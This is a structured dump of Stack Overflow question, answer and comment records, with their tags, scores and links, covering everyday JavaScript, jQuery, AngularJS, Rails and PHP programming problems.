has comment: http://stackoverflow.com/comment/40258813

http://stackoverflow.com/q/25807371
has body: So I have this chat, http://codepen.io/anon/pen/Frmez $(function() { $('.textarea-chat').on('keyup', function(e) { if (e.which == 13 &amp;&amp; ! e.shiftKey) { $(this.form).submit() return false; } }); }); Updated code ^ But one problem with it is that if you input a text to send away to the chat and press enter, the chat window closes, it should stay open but I can't figure out how
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40368155
has comment: http://stackoverflow.com/comment/40368348
downvote count: 0
score: 1
type: Question
has answer: http://stackoverflow.com/a/25807591
has comment: http://stackoverflow.com/comment/40368284
tagged with: javascript
tagged with: jquery
has title: Expand div closes when pressing enter
upvote count: 1
answer count: 1
favorite count: 0

http://stackoverflow.com/a/25851330
has comment: http://stackoverflow.com/comment/40448899
upvote count: 1
has comment: http://stackoverflow.com/comment/40448698
has body: Just use: var tableInputs = {}; $('#roottable input[type="checkbox"]').each(function () { var id = $(this).closest('table').attr('id'); var name = $(this).attr('name'); tableInputs[id] = {}; tableInputs[id][name] = $(this).val(); }); This will select all checkboxes that are a child of a table. EDIT if you need to group just find the id of the closest parent table and use that as an index for an object. You end up with one large object with all the id's as properties, while using only one each loop.
has comment: http://stackoverflow.com/comment/40448672
has comment: http://stackoverflow.com/comment/40448810
type: Answer
answers question: http://stackoverflow.com/q/25851266
has comment: http://stackoverflow.com/comment/40448610
has comment: http://stackoverflow.com/comment/40448736
has comment: http://stackoverflow.com/comment/40448675
downvote count: 0
score: 1

http://stackoverflow.com/comment/40413750
has text: @ivy_lynx yeah browsers can be frustrating at times. I'm using a list because of my navigation menu.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25831174

http://stackoverflow.com/comment/40339900
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25791870
has text: Yes, it's impossible with lodash.
score: 0

http://stackoverflow.com/q/25778251
has comment: http://stackoverflow.com/comment/40315732
tagged with: javascript
tagged with: dom
has comment: http://stackoverflow.com/comment/40315867
has comment: http://stackoverflow.com/comment/40322876
score: 0
tagged with: google-chrome-extension
has comment: http://stackoverflow.com/comment/40319630
has comment: http://stackoverflow.com/comment/40337276
has comment: http://stackoverflow.com/comment/40327114
has comment: http://stackoverflow.com/comment/40315756
has comment: http://stackoverflow.com/comment/40315848
has title: document.body is null when using from a content script in my Chrome Extension
has body: I'm observing an interesting behavior that I don't fully understand. I'm injecting the content script for my Chrome Extension into every page that is loaded in the Chrome web browser. The manifest.json filter for that is set up as such: "content_scripts": [ { "run_at": "document_end", "all_frames" : true, "match_about_blank": true, "matches": ["http://*/*", "https://*/*"], "js": ["content.js"] } ], I then attempt to add onClick global event to the whole loaded document from my content.js: document.body.addEventListener('click', onClickOnPage, true); function onClickOnPage(evnt) { //process global onClick on the page } The method above seems to work, except in some rare occasions I get the following exception: TypeError: Cannot read property 'addEventListener' of null What is causing it?
answer count: 0
type: UnansweredQuestion
tagged with: google-chrome
type: Question
has comment: http://stackoverflow.com/comment/40342866

http://stackoverflow.com/q/25794622
tagged with: ruby-on-rails
downvote count: 1
has title: Posts aren't loading correctly for multiple users
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25794760
accepted answer: http://stackoverflow.com/a/25808591
type: Question
answer count: 2
tagged with: javascript
score: 0
tagged with: ruby-on-rails-4
favorite count: 0
tagged with: ruby
has answer: http://stackoverflow.com/a/25808591
has answer: http://stackoverflow.com/a/25794760
has body: My app isn't loading more posts correctly for the currently logged in user or when viewing other users. I'm new to rails and have had this error for a while. If anything else is needed just let me know and I'll get it. This is the error trace Started GET "/feed_content" for 127.0.0.1 at 2014-09-11 10:53:14 -0700 Processing by UsersController#feed as */* User Load (2.0ms) SELECT "users".* FROM "users" WHERE "users"."id" IS NULL LIMIT 1 Completed 500 Internal Server Error in 9ms NoMethodError (undefined method `tokens' for nil:NilClass): app/helpers/application_helper.rb:14:in `user_has_provider?' app/models/feed.rb:26:in `twitter_posts' app/models/feed.rb:17:in `posts' app/controllers/users_controller.rb:70:in `feed' user_controller.rb class UsersController &lt; ApplicationController def feed @title = "Feed" @user = User.find_by(id: params[:id]) feed = Feed.new(@user) @providers = Providers.for(@user) @timeline = feed.posts(params[:twitter_pagination]) # line 70 @unauthed_accounts = feed.unauthed_accounts @poster_recipient_profile_hash = feed.poster_recipient_profile_hash @commenter_profile_hash = feed.commenter_profile_hash @load_more_url = feed_content_path( :twitter_pagination =&gt; feed.twitter_pagination_id, ) render 'show_feed' end feed.rb class Feed include ApplicationHelper attr_reader :poster_recipient_profile_hash, :commenter_profile_hash, :unauthed_accounts, :twitter_pagination_id, def initialize(user) @user = user @unauthed_accounts = [] end def posts(twitter_pagination_id) TimelineConcatenator.new.merge(twitter_posts(twitter_pagination_id)) end private def twitter_posts(twitter_pagination_id) twitter_posts = [] if user_has_provider?('twitter', @user) twitter_timeline = Twitter::Timeline.new(@user) begin twitter_posts = twitter_timeline.posts(twitter_pagination_id).map { |post| Twitter::Post.from(post) } @twitter_pagination_id = twitter_timeline.last_post_id rescue Twitter::Error::Forbidden, Twitter::Error::Unauthorized @unauthed_accounts &lt;&lt; "twitte…
upvote count: 1

http://stackoverflow.com/comment/40271934
type: AnswerComment
has text: Note, the `GoogleAnalyticsObject` is not guaranteed to be there, so you should still check for `ga`. Also, your code should add quotes around "GoogleAnalyticsObject", or simply write `window.GoogleAnalyticsObject`. What you have now makes it look like a variable.
type: Comment
comment on: http://stackoverflow.com/a/25752488
score: 1

http://stackoverflow.com/comment/40204409
score: 0
type: Comment
type: QuestionComment
has text: k . . I want the value of `node` in jsp page. how can I achive that.
comment on: http://stackoverflow.com/q/25718053

http://stackoverflow.com/a/26005392
has comment: http://stackoverflow.com/comment/40753869
upvote count: 4
answers question: http://stackoverflow.com/q/25846961
downvote count: 0
type: Answer
has body: ^path\b(?!.*[?&amp;]foo=(?!\d+(?=&amp;|#|$)))(?:.*[?&amp;]foo=(\d+)(?=&amp;|#|$))? Basically I just broke it down into three parts ^path\b # starts with path (?!.*[?&amp;]foo=(?!\d+(?=&amp;|#|$))) # not followed by foo with an invalid value (?:.*[?&amp;]foo=(\d+)(?=&amp;|#|$))? # possibly followed by foo with a valid value see validation here http://regexr.com/39i7g Caveats: will match path#bar=1&amp;foo=27 will not match path?foo= The OP didn't mention these requirements and since he wants a simple regex (oxymoron?) I did not attempt to solve them.
score: 4

http://stackoverflow.com/q/25771418
has body: I use plugin jQuery-File-Upload. How can I to limit of number selecting files from local machine? https://github.com/blueimp/jQuery-File-Upload/wiki/Options
possible better answer: http://stackoverflow.com/a/25771867
has answer: http://stackoverflow.com/a/25835981
has answer: http://stackoverflow.com/a/25771867
type: Question
has title: Limit number files in jQuery-File-Upload
tagged with: javascript
score: 0
answer count: 2
accepted answer: http://stackoverflow.com/a/25835981
tagged with: jquery
tagged with: file-upload
tagged with: jquery-file-upload
type: AnsweredQuestion

http://stackoverflow.com/comment/40291361
has text: Sorry to say that, again your logic is wrong. i is the index. Op needs the text of each element, not index
comment on: http://stackoverflow.com/a/25765250
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/q/25769660
tagged with: javascript
upvote count: 2
linked to: http://stackoverflow.com/q/6951108
tagged with: jquery
has answer: http://stackoverflow.com/a/25769732
favorite count: 0
possible better answer: http://stackoverflow.com/a/25770073
answer count: 4
score: 2
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25769695
has title: Hide div without showing it first
downvote count: 0
type: Question
has body: is there a way to hide div without loading it first, when i want to hide div it first show for like 0.5sec and then hide it self, and then do the animation below, it looks very ugly, is there a way to avoid this, or am I using js the wrong way? $( document ).ready(function() { $('.errors').hide(1); $('.errors1').hide(1); }); $( document ).ready(function() { $('.errors').animate({width: 'show'},1000); $('.errors1').animate({width: 'show'},1000); });
has answer: http://stackoverflow.com/a/25769697
accepted answer: http://stackoverflow.com/a/25769697
has answer: http://stackoverflow.com/a/25770073

http://stackoverflow.com/q/25768974
has comment: http://stackoverflow.com/comment/40320199
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/42462133
type: Question
has title: Create my own controls (play, pause, mute, seek) for JW-Player
tagged with: javascript
score: 0
tagged with: jwplayer6
has comment: http://stackoverflow.com/comment/40319189
tagged with: angularjs
has comment: http://stackoverflow.com/comment/40298553
has body: I'm using JW-player in my web (written using AngularJs and Twitter Bootstrap) . I want to create my own panel which controls the video, with buttons such as play/pause, mute/un-mute and the seek bar. I saw in their API documentation that I can control those video functions. The buttons for play/pause part was easy... but how do I create the track bar that change the video position with that seek option? I can't find an example how to use that seek option. thanks
answer count: 0

http://stackoverflow.com/comment/41483193
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/25785759
has text: And upto my knowledge i think Xfprms has no complete browser support. Atleast i need IE,CHROME and FirefOX
type: Comment

http://stackoverflow.com/a/53435588
answers question: http://stackoverflow.com/q/25753014
has body: I usually use this way: var el = driver.wait(until.elementLocated(By.name('username'))); el.click();
score: 2
downvote count: 0
type: Answer
upvote count: 2

http://stackoverflow.com/a/25800704
type: AcceptedAnswer
downvote count: 0
type: Answer
has body: Have you seen http://gamemechanicexplorer.com/#raycasting-1 ? Also try with https://github.com/codevinsky/phaser-light-and-magic
upvote count: 1
score: 1
accepted answer of: http://stackoverflow.com/q/25786159
answers question: http://stackoverflow.com/q/25786159

http://stackoverflow.com/q/25778293
tagged with: javascript
score: 1
has answer: http://stackoverflow.com/a/25780520
has answer: http://stackoverflow.com/a/25789753
favorite count: 0
tagged with: sinatra
type: Question
linked to: http://stackoverflow.com/q/9899372
has body: I want lineChart of Chart.js in my sinatra application. But firefox console says `TypeError:this.scale is undefined(Chart.js:2686)` and, lineChart is not displayed.I wrote following code. @hello.erb @script.js $(function(){ var lineChartData = { labels : ["hoge","fuga"], datasets : [ { fillColor : "rgba(220,220,220,0.5)", strokeColor : "rgba(220,220,220,1)", pointColor : "rgba(220,220,220,1)", pointStrokeColor : "#fff", data : [60,70] } ] } var myLine = new Chart(document.getElementById("line").getContext("2d")).Line(lineChartData); }); When I write this code in NOT sinatra(erb), it works correctly. What should I do modify?
has title: Chart.js line 2686 Error
answer count: 2
upvote count: 1
tagged with: charts
tagged with: erb
type: UnansweredQuestion
tagged with: canvas
downvote count: 0

http://stackoverflow.com/q/25841388
favorite count: 0
accepted answer: http://stackoverflow.com/a/25859642
type: AnsweredQuestion
downvote count: 0
score: 1
has answer: http://stackoverflow.com/a/25859642
type: Question
tagged with: javascript
tagged with: ckeditor
has title: Ckeditor Inline Dynamically modifying the toolbar for contenteditable
upvote count: 1
answer count: 1
has body: I am using ckeditor inline for my contenteditable div. The HTML looks like Test Test I would like to change the buttons in toolbar on button click.I call following function to change the toolbar function changeToolBar(){ var myToolBar = [{ name: 'verticalCustomToolbar', groups: [ 'basicstyles'], items: [ 'Blockquote'] }]; var config = {}; config.toolbar = myToolBar; CKEDITOR.instances.editor1.destroy();//destroy the existing editor CKEDITOR.replace('content', config); } This one does not seem to work. JSFiddle http://jsfiddle.net/RKPYw/17/ Thanks in advance

http://stackoverflow.com/comment/40408859
type: AnswerComment
comment on: http://stackoverflow.com/a/25829388
type: Comment
has text: @Nopzen you said the `config.js` is in a `config` folder right?
score: 0

http://stackoverflow.com/a/25868010
has body: You're almost there: var orderedProduction = _.chain(production) .groupBy(function (entity) { return entity.key[0]; }) .map(function (vals, key) { return [key, _.pluck(vals, 'value')] }) .object() .value(); returns { wind: [ 5, 9, 11, 7 ], solar: [ 1, 1, 2, 3 ], oil: [ 15, 16, 22, 23 ] }
accepted answer of: http://stackoverflow.com/q/25867016
type: AcceptedAnswer
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/40478871
score: 7
answers question: http://stackoverflow.com/q/25867016
upvote count: 7

http://stackoverflow.com/q/25863775
has title: implementation of ng-table angularJS
has answer: http://stackoverflow.com/a/25865396
has answer: http://stackoverflow.com/a/25864488
downvote count: 0
tagged with: javascript
answer count: 6
accepted answer: http://stackoverflow.com/a/25865834
favorite count: 0
has body: I want to implement ng-table for my project Spring and angular JS HTML5 but the problem when i add the ng-table nothing worked . ---App.JS---- angular .module('TimeLeaveProject', [ 'ngAnimate', 'ngCookies', 'ngResource', 'ngRoute', 'ngSanitize', 'ngTouch', 'ngTable' ]) .config(function ($routeProvider) { $routeProvider .when('/', { templateUrl: 'views/main.html', controller: 'DemoCtrl' }) .when('/about', { templateUrl: 'views/about.html', controller: 'AboutCtrl' }) .otherwise({ redirectTo: '/' }); }); --Controller AngularJS --- angular.module('TimeLeaveProject', ['ngTable']) .controller('DemoCtrl', function($scope) { alert("demoCTRL"); $http.get('/users/all'). success(function(data) { $scope.users = data; }); }) ---HTML Page-- Users {{user.username}} {{user.password}} and i add the local link for ng-table in my index.html page . The problem that i got nothing , all the views doesn't work .
tagged with: angularjs
has answer: http://stackoverflow.com/a/25863983
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25865834
score: 2
has answer: http://stackoverflow.com/a/45243879
upvote count: 2
has answer: http://stackoverflow.com/a/27675795
tagged with: spring
linked to: http://stackoverflow.com/q/23325994
type: Question
tagged with: spring-mvc
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25863983

http://stackoverflow.com/q/25786648
tagged with: php
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40330301
type: Question
accepted answer: http://stackoverflow.com/a/25786893
has body: I have my items: id name update <?php echo $id; ?> <?php echo $name; ?> Now I want when I click on update button to load update.php?id=$id result under the button How can I make this in JavaScript? Please help me.
tagged with: javascript
has title: How to create update button without page refresh
has comment: http://stackoverflow.com/comment/40330132
score: 0
has comment: http://stackoverflow.com/comment/40330112
answer count: 2
tagged with: ajax
possible better answer: http://stackoverflow.com/a/25786944
has answer: http://stackoverflow.com/a/25786944
has answer: http://stackoverflow.com/a/25786893

http://stackoverflow.com/comment/40351892
score: 0
type: QuestionComment
has text: @TimothyShields: No link, but: `board` is not an array (slower), it has no dimensions, and when accessing `board[[0,1]]` you implicitly stringify `[0,1]` to `"0,1"`, which is rather confusing and can lead to wrong beliefs. Of course I'm not denying there might be cases where a structure like that can't be useful, but only with careful consideration.
type: Comment
comment on: http://stackoverflow.com/q/25797046

http://stackoverflow.com/q/25734008
favorite count: 0
possible better answer: http://stackoverflow.com/a/25734150
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25734080
has answer: http://stackoverflow.com/a/25734150
tagged with: css
accepted answer: http://stackoverflow.com/a/25734045
type: AnsweredQuestion
score: 1
upvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/40234741
tagged with: javascript
has title: How to make the page load scrolled down to when loaded?
has answer: http://stackoverflow.com/a/25734045
has body: I need to make sure that a specific line is visible when the user loads the page, even if that line appears many lines later in the page. In other words, when the page loads, it instantly jumps to that marked line. The line simply needs to be somewhere within the visible screen of the browser window. It is marked like this: This line should always be visible when the page loads. Only one of these appears on the whole page. I cannot edit the HTML marking the text, but can edit the CSS and JavaScript at the beginning of the document. I do not mean for just that specific line to be moved, i.e. with position:absolute, but that the page loads to that line. How can I make the page load mid-way down the page, wherever a specific is found?
answer count: 3
downvote count: 0

http://stackoverflow.com/comment/40303763
type: Comment
has text: I would add a `data-targetid=x` to the `.remove_field` element and pull it out explicitly (`id=$(this).data('targetid')`) in the handler instead of using parent relationships.
type: QuestionComment
comment on: http://stackoverflow.com/q/25771898
score: 0

http://stackoverflow.com/q/25783454
has comment: http://stackoverflow.com/comment/40325257
favorite count: 0
has comment: http://stackoverflow.com/comment/40325624
tagged with: http://stackoverflow.com/tag/html
tagged with: css
accepted answer: http://stackoverflow.com/a/25792309
type: AnsweredQuestion
tagged with: d3.js
has body: Question: I have implemented a version of a d3.js tree found here. Now, in my case, the tree doesn't take the whole screen, but it is conveniently put into a div, since it is just a part of a dash-board I've created. Here is the css of the div where the tree is put: #tree-container { border-style: solid; border-width: 3px; border-color: #b0c4de; float:left; position:relative; top:2px; margin-top: 5px; margin-left: 10px; } What I want to do is: when the user clicks on the boarder of the div - to be able to resize it by dragging the pointer of the mouse (when clicked, of course). What I've tried so far? So far, I've tried like shown on the accepted answer here: $('#tree-container').resizable({ handles: 'n,w,s,e', minWidth: 200, maxWidth: 400 }); But, this doesn't work. In fact - it raises an error: Uncaught TypeError: undefined is not a function When I try like this: $('#tree-container').resize({ handles: 'n,w,s,e', minWidth: 200, maxWidth: 400 }); it doesn't raise an error, but it still doesn't work. This doesn't work as well: $('#tree-container').resize({ handles: 'n,w,s,e' }); Any ideas of how can I solve this problem?
has comment: http://stackoverflow.com/comment/40325137
upvote count: 7
type: Question
has comment: http://stackoverflow.com/comment/40325307
has comment: http://stackoverflow.com/comment/40325100
has comment: http://stackoverflow.com/comment/40326507
has title: Make a d3 div resizable by drag
has answer: http://stackoverflow.com/a/25792309
linked to: http://stackoverflow.com/q/17855401
has comment: http://stackoverflow.com/comment/40324937
downvote count: 0
answer count: 1
tagged with: javascript
tagged with: jquery
score: 7

http://stackoverflow.com/comment/40266093
comment on: http://stackoverflow.com/a/25750933
score: 0
type: AnswerComment
type: Comment
has text: when executed using tomcat server its throwing the below error on browser console : Not allowed to load local resource:file:\\160.53.112.171\myTest\cons\4.1\displayData.htm , the same when executed as normal html its working fine - @Sanjay.

http://stackoverflow.com/comment/40406031
has text: @MonaCoder You are welcome! Unfortunately I didn't understand the question in your comment. Actually the second loop is unnecessary. Doing this in the first loop is more efficient. This way there is no need to query the whole DOM in each iteration, at least you can cache the `$('.boxIn')` collection before the second loop, then `$collection.eq(j)...`
comment on: http://stackoverflow.com/a/25827778
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/q/25812785
upvote count: 1
accepted answer: http://stackoverflow.com/a/25814269
type: Question
has body: I am trying to condense my code because I have a lot of repetitive coding happening. I will need to apply this same example many times over. I want to create a for loop but my variable needs to increase as well. Right now I have my variable increasing but I am unable to implement my cell data into the variable. I think I am double assigning var h. I can't figure out how to get around this. Thank you for your help. For Loop for (var j = 2; j<15; j++){eval("var polebrea" +j); var h = ("polebrea" +j) } h = document.getElementById("part1Table").rows[10].cells[2].innerHTML; Code Attempting To Implement polebrea2 = document.getElementById("part1Table").rows[10].cells[2].innerHTML; polebrea3 = document.getElementById("part1Table").rows[10].cells[3].innerHTML; polebrea4 = document.getElementById("part1Table").rows[10].cells[4].innerHTML; polebrea5 = document.getElementById("part1Table").rows[10].cells[5].innerHTML; (cont. to 15) Inserting Variable
tagged with: for-loop
has comment: http://stackoverflow.com/comment/40378232
tagged with: javascript
score: -1
answer count: 2
has comment: http://stackoverflow.com/comment/40378270
has comment: http://stackoverflow.com/comment/40378228
favorite count: 0
has answer: http://stackoverflow.com/a/25814269
has answer: http://stackoverflow.com/a/25813015
has title: Apply for loop with variable
possible better answer: http://stackoverflow.com/a/25813015
type: AnsweredQuestion
downvote count: 2

http://stackoverflow.com/a/75952768
answers question: http://stackoverflow.com/q/25725596
has body: In Node.js 19 you can just use it (without window.) const array = new Uint32Array(10); crypto.getRandomValues(array);
score: 0
type: Answer

http://stackoverflow.com/comment/40318244
has text: @flowstoneknight>> exactly if they're not same the result is 0.
score: 0
comment on: http://stackoverflow.com/q/25779485
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40223140
type: AnswerComment
has text: Thanks toggleClass really worked , but what's the difference between it and the addclass method
comment on: http://stackoverflow.com/a/25727839
type: Comment
score: 0

http://stackoverflow.com/comment/40254082
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/25744427
has text: Thank you @Popnoodles I was wondering how I can create a new random number? I tried doing :

http://stackoverflow.com/q/25796729
has answer: http://stackoverflow.com/a/25797326
accepted answer: http://stackoverflow.com/a/25813467
tagged with: javascript
score: 0
has title: Marionette Embedded Events accessing ui hash
tagged with: marionette
tagged with: backbone.js
has answer: http://stackoverflow.com/a/25813467
type: AnsweredQuestion
has body: I'm try to embed event handling inside of marionette but I got kind of stuck as when I embed events I loose the marionette view object which i require to update the width of a div to create an interactive slider. SliderBehavior = Marionette.Behavior.extend({ ui: { slider: '.slider-pointer', foregroundScale: '.slider-default', }, events: { 'mousedown @ui.slider': 'onSliderDrag' }, onSliderDrag: function(e) { console.log(this); var handlers = { mousemove : function(e){ this.ui.foregroundScale.css({ width : utility.round((this.view.options.max - (e.pageX - this.view.options.offset)), this.view.options.min, this.view.options.max)+ 'px' }); }, mouseup : function(e){ $(e.target).off(handlers); } }; this.$el.on(handlers); } }); So the problem is insde handlers >> mousemove >> the this object is representing the event how can I access my ui hash from inside this function. Regards
type: Question
possible better answer: http://stackoverflow.com/a/25797326
answer count: 2

http://stackoverflow.com/comment/40386379
score: 1
comment on: http://stackoverflow.com/q/25816463
has text: Why do you want to do this? Are you wanting to send data to the server? If so, be wary of doing this as it's [not reliable](http://stackoverflow.com/questions/25039281/why-is-ajax-call-in-window-unonload-never-called).
type: Comment
type: QuestionComment

http://stackoverflow.com/a/25722229
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/25722184
upvote count: 1
score: 1
has body: in that "root scope" this is window and console.log(abc.self); results for me in Window {top: Window, window: Window, ...}

http://stackoverflow.com/comment/40440067
comment on: http://stackoverflow.com/a/25845626
type: AnswerComment
score: 0
type: Comment
has text: Thank you for your help. However, the page is rendered more than once, so I see the welcome message for a very short time, is it possible to solve this?

http://stackoverflow.com/comment/40452587
comment on: http://stackoverflow.com/q/25853260
has text: Seems to work fine for me: http://jsfiddle.net/h3ubj24x/. Which jQuery version are you using?
type: Comment
type: QuestionComment
score: 1

http://stackoverflow.com/a/25780515
downvote count: 0
has comment: http://stackoverflow.com/comment/40324135
type: Answer
has body: Use Scroll and scrollstop $(document).on("scroll", function() { $('#nav').css('opacity', '0.85'); }); $(document).on("scrollstop",function(){ $('#nav').css('opacity', '1'); });
has comment: http://stackoverflow.com/comment/40319697
score: 1
accepted answer of: http://stackoverflow.com/q/25780458
answers question: http://stackoverflow.com/q/25780458
upvote count: 1
type: AcceptedAnswer

http://stackoverflow.com/q/25716896
accepted answer: http://stackoverflow.com/a/25717012
downvote count: 1
has title: How do I write a JS function to disable the function under certain conditions
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40202388
score: -1
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/25716948
upvote count: 0
has body: I'm writing a simple game in JS. It's essentially a game of chance. You press a button (which runs a function) and if it doesn't return number 9 then it shows a picture, you get a point and keep going. If it does return a 9 you see a losing picture and you loose. The game waits two seconds, (so you can actually see the losing image) and then throws an alert message telling you your high score and then refreshes the page. The problem is between the two seconds of you loosing and receiving the alert message you can still click and receive points. Is there a way to disable the function form being called again? I am looking for a way to do this. var didIGetAPoint = function() { if(num != losing number) { show pic, get a point and keep going } else { show losing pic, disable this function from running again, pause, then alert box.} }
has answer: http://stackoverflow.com/a/25717012
tagged with: javascript
possible better answer: http://stackoverflow.com/a/25716948
has comment: http://stackoverflow.com/comment/40202231
favorite count: 0

http://stackoverflow.com/q/25747683
has body: so I'm trying to make this works here is the jquery+php. When I try to trigle the click in jquery it doesnt even does the "alert()". PHP(Updated): $MSG_Notification_sql = mysqli_query($Connection, "SELECT * FROM notifications WHERE user_id='".$bzInfo['id']."'"); while ($MSG_Notification_row = mysqli_fetch_array($MSG_Notification_sql)){ $MSG_Notification_rows[] = $MSG_Notification_row; } foreach ($MSG_Notification_rows as $MSG_Notification_row){ $bzWhen = date('d-m-Y H:m:i', strtotime($MSG_Notification_row['when'])); echo ' '.$MSG_Notification_row['title'].' '.$MSG_Notification_row['description'].' '.$bzWhen.' '; } Javascript(Updated): $(document).ready(function(){ $('.notificationClick').click(function(event){ alert('Ok'); // get the form data // there are many ways to get this data using jQuery (you can use the class or id also) var formData = $('#notificationClick').serialize(); // process the form $.ajax({ type : 'POST', // define the type of HTTP verb we want to use (POST for our form) url : '../../class/notifications/msgs_del.php', // the url where we want to POST data : formData, // our data object dataType : 'json' // what type of data do we expect back from the server }) // using the done promise callback .done(function(data) { // log data to the console so we can see console.log(data); window.location = '/?page=messages&sub=inbox&bx=preview&id='+ data.notificationID +''; }); event.preventDefault(); }); }); Can anybody help me please? I'm trying to complete this but nothing :(
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40259447
has comment: http://stackoverflow.com/comment/40259458
type: Question
has answer: http://stackoverflow.com/a/25747911
accepted answer: http://stackoverflow.com/a/25747911
possible better answer: http://stackoverflow.com/a/25747727
tagged with: javascript
tagged with: jquery
score: 0
answer count: 3
has title: $('#notificationClick').click not working
has answer: http://stackoverflow.com/a/25747727
tagged with: php
has answer: http://stackoverflow.com/a/25747751

http://stackoverflow.com/comment/40410848
has text: @ROX without img tag is it not possible? I have seen some website doing that. check out this theactsoftheapostles.com
score: 0
comment on: http://stackoverflow.com/q/25830477
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25846307
type: UnansweredQuestion
has body: How can I validate input fields (email, username) before submit form with file upload? it's possible integrate jquery validation plugin inside dropzone? Submit data and files! javascript dropzone file Dropzone.options.myAwesomeDropzone = { // The configuration we've talked about above autoProcessQueue: false, uploadMultiple: true, parallelUploads: 100, maxFiles: 100, // The setting up of the dropzone init: function() { var myDropzone = this; // First change the button to actually tell Dropzone to process the queue. this.element.querySelector("button[type=submit]").addEventListener("click", function(e) { //I wont to put validation plugin here: $('#my-awesome-dropzone').validate({ rules: { email: { required: true }, usename: { required: true } } }); e.preventDefault(); e.stopPropagation(); myDropzone.processQueue(); }); //...
answer count: 4
score: 2
has title: Validate combined normal form with dropzone
has answer: http://stackoverflow.com/a/56887347
has answer: http://stackoverflow.com/a/66391036
type: Question
tagged with: forms
tagged with: jquery-validate
upvote count: 3
has comment: http://stackoverflow.com/comment/40448789
downvote count: 1
tagged with: javascript
favorite count: 0
has answer: http://stackoverflow.com/a/25851701
tagged with: dropzone.js
has answer: http://stackoverflow.com/a/51964051

http://stackoverflow.com/comment/132693565
comment on: http://stackoverflow.com/a/54935752
score: 2
type: AnswerComment
type: Comment
has text: Just that code by itself is not working.

http://stackoverflow.com/q/25737399
linked to: http://stackoverflow.com/q/17417597
has comment: http://stackoverflow.com/comment/40241314
tagged with: angularjs
accepted answer: http://stackoverflow.com/a/25737560
has title: Changing $scope property and watching for changes
possible better answer: http://stackoverflow.com/a/25737512
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25737512
has body: OK, I'm 1-day new to AngularJS, so this has to be ultra-basic (I hope not an ignorant one about how AngularJS works - I admit MVC is not really my thing, but anyway...). My Code : var PP = angular.module('PP', []); PP.controller('documentController', function ($scope) { $scope.documents = [ { 'filename': 'Untitled-1', 'content': 'Content-1' }, { 'filename': 'Untitled-2', 'content': 'Content-2' }, { 'filename': 'Untitled-3', 'content': 'Content-3' }, ]; }); So, I have declared a module (PP), with a controller (documentController) and a property(?) in it (documents). So, I have 2 questions : How (any possible way is welcome) could I programmatically have access to and change the documents array? (insert/remove/etc) How can I set up an event which fires up when the array has been changed, e.g. an element has been inserted?
type: Question
answer count: 2
has comment: http://stackoverflow.com/comment/40241282
tagged with: javascript
tagged with: jquery
score: 0
has answer: http://stackoverflow.com/a/25737560

http://stackoverflow.com/q/25747305
has comment: http://stackoverflow.com/comment/40259146
answer count: 3
has title: stop javascript till jquery trigger finished
has answer: http://stackoverflow.com/a/25748027
tagged with: jquery
has comment: http://stackoverflow.com/comment/40259082
has comment: http://stackoverflow.com/comment/40258975
has answer: http://stackoverflow.com/a/25747729
tagged with: ajax
has comment: http://stackoverflow.com/comment/40258727
has comment: http://stackoverflow.com/comment/40259284
has comment: http://stackoverflow.com/comment/40259133
type: UnansweredQuestion
score: 0
has answer: http://stackoverflow.com/a/25747630
type: Question
has body: i have this code and what i want is that function b to run only after function a is completed. the problem is: function b does not wait until ajax is complete i tried when -> done and call back and don't work always alert 1 then 3 then 2 so can anyone help me. note : this is not the real code, it's just sample one of it cause the file is about 500 lines in the real code this will happen more than one time when the page is loaded for "first time" index.php select one one two three test test.php <?php echo " select one "; echo " ",$_POST['first']+3,' '; echo " ".$_POST['first']+4,' '; ?> what i want is function b run after trigger done from function a only, so if it is triggered by user it won't run
tagged with: javascript

http://stackoverflow.com/q/25801026
has body: Very often I see data structures like this: var settings = { languages: [ { language: 'English', translation: 'English', langCode: 'en', flagCode: 'us' }, { ... } ] }; Or this: var settings = { languages: [ { 'en' : { language: 'English', translation: 'English', flagCode: 'us' } }, { ... } ] }; And this can go many levels deep (within an object there are often other arrays containing further objects)... Adding arrays brings in another level of complexity when arrays have to be looped through to find a certain object, if we don't know its position in the array. But even if know its position it's still more complicated to use than using purely nested objects, where everything can easily be referred to, using dot notation. Like in this case: var settings = { languages: { 'en' : { language: 'English', translation: 'English', flagCode: 'us' }, 'de' : { ... } } }; So when is it a good idea to use arrays within objects and when not?
has answer: http://stackoverflow.com/a/25801124
tagged with: object
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40358406
has comment: http://stackoverflow.com/comment/40357377
has answer: http://stackoverflow.com/a/25801127
has comment: http://stackoverflow.com/comment/40357367
has comment: http://stackoverflow.com/comment/40357430
has comment: http://stackoverflow.com/comment/40357588
type: Question
upvote count: 2
has comment: http://stackoverflow.com/comment/40362527
has title: When to use arrays within JavaScript objects (or mix them)?
tagged with: arrays
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25801188
score: 0
downvote count: 2
answer count: 3
has comment: http://stackoverflow.com/comment/40357525
has comment: http://stackoverflow.com/comment/40358137
favorite count: 0
has answer: http://stackoverflow.com/a/25801188
has comment: http://stackoverflow.com/comment/40357589
has comment: http://stackoverflow.com/comment/40357606
has comment: http://stackoverflow.com/comment/40357341
has comment: http://stackoverflow.com/comment/40357297
has comment: http://stackoverflow.com/comment/40357502
